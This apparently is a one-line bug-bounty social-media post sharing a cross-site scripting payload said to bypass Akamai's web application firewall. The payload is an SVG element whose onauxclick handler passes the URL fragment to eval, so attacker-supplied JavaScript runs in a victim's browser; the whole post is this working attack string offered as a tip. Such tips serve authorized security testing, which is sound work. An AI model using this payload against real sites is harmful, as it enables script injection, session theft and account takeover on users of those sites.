An Akamai #WAF #Bypass that worked for me today:

<svg onauxclick=(eval)(location.href.split(‘#’)[1])>

#bugbountytips